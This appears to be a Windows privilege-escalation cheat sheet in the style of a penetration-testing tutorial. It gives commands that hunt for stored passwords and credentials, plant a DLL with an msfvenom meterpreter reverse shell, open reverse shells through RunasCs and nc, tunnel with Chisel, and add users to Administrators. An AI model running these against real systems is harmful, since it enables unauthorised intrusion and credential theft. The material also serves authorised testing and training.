Windows Privilege Escalation

Last modified: 2023-12-23

Active Directory Privilege Escalation Windows

Privilege Escalation (PrivEsc) in Windows is a process that get the Administrator credential and login.


We might be able to find vulnerabilities on target Windows machine with automation tools as below:

LOLBAS (Living Off the Land Binaries, Scripts and Libraries)

LOLBAS provides misuses tools and executables already in the Windows system. So check the website.

OS Information

systeminfo | findstr "OS"

# Datetime

Interesting Information

# Current user
whoami /user
whoami /groups
whoami /priv
whoami /all
echo %username%

# List users
net user
net users
net user USERNAME

# List groups
net group
net localgroup
# List users in specific group
net localgroup "Remote Management Users"

# List user home directories
Get-ChildItem C:\Users -Force

# Network
ipconfig /all
route print
arp -A

# Firewall
netsh firewall show state
netsh firewall show config
netsh advfirewall show allprofiles

# PowerShell info
# Display only the PowerShell version.

Find OS Vulnerabilities

After investigating the OS information, find the vulnerabilities of OS version.

Recent Files

  1. Right-click on the Windows icon.
  2. Click Run.
  3. Type recentin the search form.

Running Services

Get-Service | Where-Object {$_.Status -eq "Running"}
wmic service list
wmic service list | findstr "Backup"

# Get target process info
wmic process get processid,parentprocessid,executablepath | find "<process-id>"
# Get users SID
wmic useraccount get name,sid
# Launch the hidden executable hiding within ADS
wmic process call create $(Resolve-Path .\file.exe:streamname)

# Processes and services
sc query state=all
tasklist /svc

# Query the configuration info for a specified service
sc qc "Development Service"

Running Processes

# -a: All connections and ports
# -f: Display FQDN (Fully Qualified Domain Names)
# -o: Display the owning process ID associated with each connection
netstat -afo

# Exclude `svchost`
Get-Process | where {$_.ProcessName -notlike "svchost*"}

# Display only `LISTENING` processes
netstat -afo | Select-String -Pattern "LISTENING"


Command History in PowerShell Console

type c:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Web Browser Hidsotries

We might be able to find interesting information about users by checking histories of web browsers such as Chrome, Microsoft Edge, Internet Explorer, etc.

VSS (Volume Shadow Copy Service)

VSS coordinates the actions that are required to create a consistent a shadow copy (also known as a snapshot or a point-in-time copy) of the data that is to be backed up.

vssadmin list shadows
vssadmin list volumes

Registry Keys

We may be able to retrieve sensitive information in registry hives.
See also: Windows PrivEsc with Registry Keys

# List all subkeys of a registry key
Get-ChildItem -Path HKCU:\ | Select-Object Name
# -Recurse: List recursively
Get-ChildItem -Path HKCU:\System -Recurse | Select-Object Name

# Search sensitive information in HKLM (HKEY_LOCAL_MACHINE)
# /f password: Specifies the keyword 'password' to search.
# /t REG_SZ: Specifies REG_SZ (string) type to search.
# /s: Specifies to query all subkeys and value names recursively.
reg query HKLM /f password /t REG_SZ /s

Sensitive Information

# /s: Searches the current directory and all subdirectories.
# /i: Ignores the case of the characters.
findstr /si password *.txt *.xml *.ini
findstr /si password c:\Users\Administrator\*.txt
findstr /si cred *.txt *.xml *.ini
findstr /si cred c:\Users\Administrator\*.txt

# /p: Skips files with non-printable characters.
# /n: Prints the line number of each line that matches.
findstr /spin "password" *.*
findstr /spin "password" c:\Users\Administrator\*

# ListList files
# /a: Displays only the names of those directories and files.
dir /a \Users\Administrator\Desktop
# /s: Lists every oncurrece of the specified file name within the specified directory and all subdirectories.
dir /s *pass* == *cred* == *vnc* == *.config*
# /q: Displays the ownership information.
dir /q \Users\Administrator\Desktop

# Website folder
dir c:\inetpub\

# SQL server
dir c:\SQLServer\Logs
type c:\SQLServer\Logs\ERRORLOG.BAK

# Get contents of file
more .\example.txt
type .\example.txt

# Check Recycle.bin and SID Folder
dir -Force \'$Recycle.Bin'
# -Recurse: List files recursively
dir -Force -Recurse \'$Recycle.Bin'

# ManageEngine (this service has many vulnerabilities)
dir -Force \'Program Files (x86)'\ManageEngine\

Interesting Files

Get-ChildItem -Path c:\\ -Filter "*.txt" -Recurse 2>$null
# Directories
Get-ChildItem -Path c:\\ -Directory -Filter "Example" -Recurse 2>$null

Interesting Information in Files

Get-ChildItem -Path c:\inetpub -Recurse | Select-String -Pattern "password"

Collect Emails

Reference: Atomic Rea Team

We can collect the information about emails such as Outlook on the following directories.

C:\Users\<username>\Documents\Outlook Files

Open Ports

netstat -a

If we found the listening ports, we need to port forwarding to access the port in local machine.
For example, assume the port 8000 is listening. We can access to the target port 8000 by accessing to [http://localhost:8000](http://localhost:8000) in local by executing the following command.

# Remote (target) machine
chisel.exe client R:8000:

# Local (attacker) machine
chisel server --reverse -p 9999

Please refer to this page to check how to use Chisel for port forwarding.

Getting All Local Users/Groups

We can find all local users in Computer Management utility. To open, enter "computer management" in search form at the bottom of the windows screen.

In Computer Management, click "Local Users and Groups".

Enumerate Users

  1. Click "Users".
  2. Double-click each user to get details e.g. "Member Of".

Enumerate Groups

  1. Click "Groups".
  2. Double-click each group.
  3. Attempt to add new user in the group because we might be able to do that even if we are not an administrator.

Change File Permission

  1. Right-click on the file.
  2. Select the Properties.
  3. Click the Security tab.
  4. Click “Advanced”.
  5. In the Permissions tab, click the “Add”.
  6. Click “Select a principal”.
  7. Enter the username in the text field.
  8. Click OK and Apply.

Also we can change permissions in CommandPrompt or PowerShell.

icacls 'C:\Path\to\file' /grant Users:F
icacls 'C:\Path\to\file' /grant Everyone:F

DLL Hijacking

If we found running services using netstat or Get-Process, identify the executable that service is running and reversing the file. If the executable loads some DLL, we can overwrite the DLL to execute arbitrary code.

Find the DLL and check the file permission.

icacls \path\to\example.dll

If we have write permission, create a malicious DLL using msfvenom in local machine.

# Replace with your ip
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f dll -o example.dll

After generating the malicious example.dll, replace the original file with this file.
Now start a TCP listener in local machine.

msf> use exploit/multi/handler
msf> set payload windows/x64/meterpreter/reverse_tcp
# Replace with your ip
msf> set lhost
msf> set lport 4444
msf> run

After that, when the service runs our malicious DLL is loaded and the payload is executed.
We may get a shell.

User/Group Permissions

# Change user's password

# Add new user
net user /add /domain USERNAME PASSWORD

# Add user to group
net localgroup Administrators USERNAME /add
net localgroup "Remote Managment Users" USERNAME /add   # For WinRM
net localgroup "Remote Desktop Users" USERNAME /add     # For RDP

# Delete users from specific group
net localgroup "Remote Management Users" USERNAME /delete

If we could change the permission, connect to the target via WinRM or RDP.

Take Ownership of a File (Administrators Group Required)

# Check if the current user belongs to the Administrators group. 
net user USERNAME

# Move to the directory containing the desired file
cd \Users\Administrator\Desktop

# Enable an administrator to recover access to a file.
# /R: recursive operation
# /F: specify the filename
takeown /r /f *.*

# Modify dictionary access control lists on specified files
# /q: suppress success message
# /c: continue the operation despite any file errors
# /t: perform the operation on all specified files
# /grant: grant specified user access rights
icacls "example.txt" /q /c /t /grant Users:F

Switch Another User

runas /user:<domain>\<username> cmd
runas /user:<username>\ explorer.exe

Spawn Another Session as Another User

If we cannot switch user due to such as reverse shell sessions, we can spawn another shell as another user by using RunasCS.

First, start a listener in local machine.

nc -lvnp 4444

Then execute the following command in target machine.
Replace username and password with the credential of the user that we want to switch to.

RunasCs.exe username password cmd -r

All Privs for Local Service, Network Service Account

If we’re Local Service or Network Service account, it maybe possible to grant all privileges to the account.

FullPowers is a powerful tool for doing that.


# Confirm if the account has all privileges
whoami /priv

Event Logs

  • Event Viewer
  • FullEventLogview


  • Task Schedular


Tools that offer technical resources and utilities to manage, diagnose, troubleshoot, and monitor a Microsoft Windows environment.

# Autoruns
# It shows what programs are configured to run during system bootup or login.

# Process Explorer
# A freeware task manager and system monitor.

# Process Monitor
# It monitors and displays in real-time all file system activity.

# Strings
# It is same as the Linux “strings” command.
strings.exe example.exe | findstr "sometext"
strings64.exe example.exe | findstr "sometext"